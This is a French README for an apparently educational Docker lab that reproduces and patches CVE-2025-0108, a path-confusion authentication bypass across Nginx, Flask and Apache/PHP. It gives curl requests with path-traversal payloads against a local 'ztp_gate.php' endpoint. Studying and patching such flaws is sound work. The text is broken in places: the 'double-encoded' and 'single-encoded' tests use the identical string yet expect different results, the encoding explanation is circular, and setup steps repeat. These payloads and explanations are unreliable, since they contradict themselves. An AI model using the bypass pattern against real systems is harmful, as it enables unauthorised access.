
Reproduit la vulnérabilité de confusion de chemin CVE-2025-0108 dans les piles Nginx/Apache. Inclut un PoC vulnérable et une implémentation corrigée démontrant l'atténuation côté backend contre le contournement d'authentification doublement encodé.
Ce dépôt contient un petit environnement de laboratoire pour reproduire et atténuer le problème CVE-2025-0108 (confusion de chemin / contrebande d'en-têtes entre Nginx et Apache).
L'objectif de l'exercice est de démontrer comment des requêtes doublement encodées peuvent contourner l'authentification dans une pile multi-couches (Nginx -> backend Flask -> Apache/PHP) et de présenter une atténuation côté backend.
Cet environnement est destiné uniquement à des fins pédagogiques.
CVE-2025-0108/ — implémentation vulnérable (PoC)CVE-2025-0108_fix/ — implémentation corrigée (le backend vérifie le chemin décodé)CVE-2025-0108Simuler la configuration vulnérable dans laquelle un chemin doublement encodé peut contourner l'authentification en raison d'un décodage de chemin incohérent entre les couches.
Depuis le répertoire CVE-2025-0108 :
cd CVE-2025-0108
docker compose up --build
Exécutez ces commandes curl depuis votre hôte :
Test 1 — doublement encodé (résultat attendu : HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Cette requête utilise un double encodage (%2e%2e == %2e%2e == ..) et démontre le contournement dans la configuration vulnérable. Elle devrait renvoyer 200 OK.
Test 2 — encodé une seule fois (résultat attendu : HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Test 3 — chemin brut avec .. (résultat attendu : HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Arrêter les environnements :
docker compose down
Le backend effectue une vérification supplémentaire sur le chemin décodé avant d'autoriser l'accès. Cela empêche le contournement de l'authentification lorsque les requêtes sont doublement encodées.
Depuis le répertoire CVE-2025-0108 :
cd CVE-2025-0108
docker compose up --build
Exécutez ces commandes curl depuis votre hôte :
Depuis le répertoire CVE-2025-0108_fix :
cd CVE-2025-0108_fix
docker compose up --build
Test 1 — doublement encodé (résultat attendu : HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Le backend corrigé détecte le .. décodé et renvoie 401 Unauthorized.
Test 2 — encodé une seule fois (résultat attendu : HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Test 3 — chemin brut avec .. (résultat attendu : HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Arrêter les environnements :
docker compose down